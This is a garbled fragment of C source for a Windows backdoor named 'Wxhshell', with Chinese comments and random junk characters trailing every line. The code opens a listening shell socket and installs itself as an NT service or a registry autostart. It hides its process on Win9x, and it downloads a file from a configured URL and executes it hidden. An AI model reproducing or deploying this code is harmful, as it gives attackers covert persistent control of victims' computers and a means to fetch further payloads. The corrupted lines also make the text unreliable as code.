ULONG InheritedFromUniqueProcessId; Ii_X^)IL(
} PROCESS_BASIC_INFORMATION;
I4.^I/c(
n.Iu|,?q
PROCNTQSIP NtQueryInformationProcess; (sSMH6iCif
:
z*OAl"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3R>U^
Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uU=O 0?'zq
BR;f!
HANDLE hProcess; ,{!~rSq-l
PROCESS_BASIC_INFORMATION pbi; _1S^A0ft
#0V$KC*>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F$T@OT6
if(NULL == hInst ) return 0; 794V(;sW,
ve;#o<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O+ ~.p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =QXLr+
y@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {fW(e?8)
xFvDKW)_X7
if (!NtQueryInformationProcess) return 0; ! c,=%4Pb
cD5c&+,&I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0WI QG+
if(!hProcess) return 0; 6fV%[.RR
oju)8H1o#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MW*@fl<@?M
#Ux*":
CloseHandle(hProcess); %GG:F^X#
y8=p;7DY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wm! lWQu7
if(hProcess==NULL) return 0;
&0! f_
c@H:?s!0R
HMODULE hMod; e}>8rnR{
char procName[255]; Rrh?0qWs
unsigned long cbNeeded; ;T6{J[
h
g$+u;ER5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3{OY&
<,/k"Y=
CloseHandle(hProcess);
x|C[yu^c
M\\t)=q
if(strstr(procName,"services")) return 1; // 以服务启动 "BSSA%u?c
mqxgrb7
return 0; // 注册表启动 n-iy;L^b
} .PjJ g^^
/Xa_Xg7
// 主模块 W+N9~.q\^
int StartWxhshell(LPSTR lpCmdLine) "o"ujQ(v
{ wV\;,(<x=%
SOCKET wsl; N0APX4j
BOOL val=TRUE; LS1r}cl
int port=0; / O@'XWW
struct sockaddr_in door; Bc1[^{`bq^
Th1/Bxb:
if(wscfg.ws_autoins) Install(); %J)n#\
(Ic{C5'
port=atoi(lpCmdLine); 8w,U[aJm
CZE!rpl
if(port<=0) port=wscfg.ws_port; 'nH/Z 84
9[.vtk\iyH
WSADATA data; w#V{'{DKp
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g-B~"tp
pPr/r& r
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gT 8^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F!v`._]
door.sin_family = AF_INET; 2de[ yz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )C>4?)
door.sin_port = htons(port); k&Z3v.
o)w8 ]H/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iCA!=%M@D
closesocket(wsl); |a!AgvNF
return 1; 77y_?di^I
} "&jWC
9rhIDA(wc
if(listen(wsl,2) == INVALID_SOCKET) { Co e
q<
closesocket(wsl); #is1y3yh
return 1; B+e$S%HV
} IYtM'!u
Wxhshell(wsl); f"^G\
WSACleanup(); z}XmRc_Ko
R <kh3T
return 0; bj6-0`
w&6c`az8
} f-at@C1L%L
*eE&ptx1
// 以NT服务方式启动 x9fNIuAQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t- Rp_2t
{ 'G3;!xk$
DWORD status = 0; A0L&p(i
DWORD specificError = 0xfffffff; :Ja]Vt
gO
C5
serviceStatus.dwServiceType = SERVICE_WIN32; <28L\pdG`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RI,Z&kXj2o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]<3$Sx_{y
serviceStatus.dwWin32ExitCode = 0; ?NazfK
serviceStatus.dwServiceSpecificExitCode = 0; [Xy^M3
serviceStatus.dwCheckPoint = 0; hY5G=nbO*
serviceStatus.dwWaitHint = 0; Kv**(~FNnH
YHoj^=/b
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d,"?tip/SX
if (hServiceStatusHandle==0) return; _J<^'w^;%
[Tha
j
status = GetLastError(); aOWE\Ic8
if (status!=NO_ERROR) U p1&(
{ &p\fdR4e
serviceStatus.dwCurrentState = SERVICE_STOPPED; n<C4-'^U[a
serviceStatus.dwCheckPoint = 0; 6#NptXB
serviceStatus.dwWaitHint = 0; ]6wo]nV[P
serviceStatus.dwWin32ExitCode = status; &"bcI7uGT
serviceStatus.dwServiceSpecificExitCode = specificError; 'B;aXy/JC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CTu#KJ?j
return; U1&pcwP
} 7%aaqQ1T
e=b>:n
serviceStatus.dwCurrentState = SERVICE_RUNNING; \Y[
serviceStatus.dwCheckPoint = 0; bv&A)h"S
serviceStatus.dwWaitHint = 0; Vc!` BiH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R-Y |;
} Z
P\A
]lj,GD)c
// 处理NT服务事件,比如:启动、停止 JX_hLy@`
VOID WINAPI NTServiceHandler(DWORD fdwControl) E|u#W3-:
{ i#I+
switch(fdwControl) i?R+Ul`Q
{ ;k6>*wFl|!
case SERVICE_CONTROL_STOP: r3a$n$Qw
serviceStatus.dwWin32ExitCode = 0; +dWx?$n
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2#z 6= M~A
serviceStatus.dwCheckPoint = 0; Y9rW_m@B
serviceStatus.dwWaitHint = 0; lWj|7
{ K9v@L6pY=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hX#s3)87
} x \qS|q\N
return; G([8Q8B4+
case SERVICE_CONTROL_PAUSE: Vl;GQe
serviceStatus.dwCurrentState = SERVICE_PAUSED; w9D<^(_}/
break; FYIzMp.4
case SERVICE_CONTROL_CONTINUE: Yk',a$.S
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]"SH
pq
break; E\N?D
case SERVICE_CONTROL_INTERROGATE: %mR roR6
break; (P;z*
"q
}; =ogzq.+|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .k5
TQt
} }V.Wp6"S
ZA@QP1
// 标准应用程序主函数 b&.j>=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4am`X1YV#
{ ]^,<Ez
>Lo 0,b$
// 获取操作系统版本 8>.l4:`
OsIsNt=GetOsVer(); jg8j>"Vj>
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7Mxw0J
_RG!lmJV
// 从命令行安装 eto3dJ!R
if(strpbrk(lpCmdLine,"iI")) Install(); 9g3J{pKcZ
YDBQ6X
// 下载执行文件 yYmV^7G
if(wscfg.ws_downexe) { ^p#f B4z
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fI"q/+
WinExec(wscfg.ws_filenam,SW_HIDE); sY__ak!>
} uSSnr#i^j
iTTe`Zr5y
if(!OsIsNt) { '0_Z:\ laU
// 如果时win9x,隐藏进程并且设置为注册表启动 d#:&Uw
HideProc(); J%']t$AR
StartWxhshell(lpCmdLine); 2XJn3wPi
} $
JI`&
else "oZ]/(
if(StartFromService()) %FnaS
u
// 以服务方式启动 m%ZJp7C
StartServiceCtrlDispatcher(DispatchTable); KE\p|X i
else t ZUZNKODW
// 普通方式启动 B<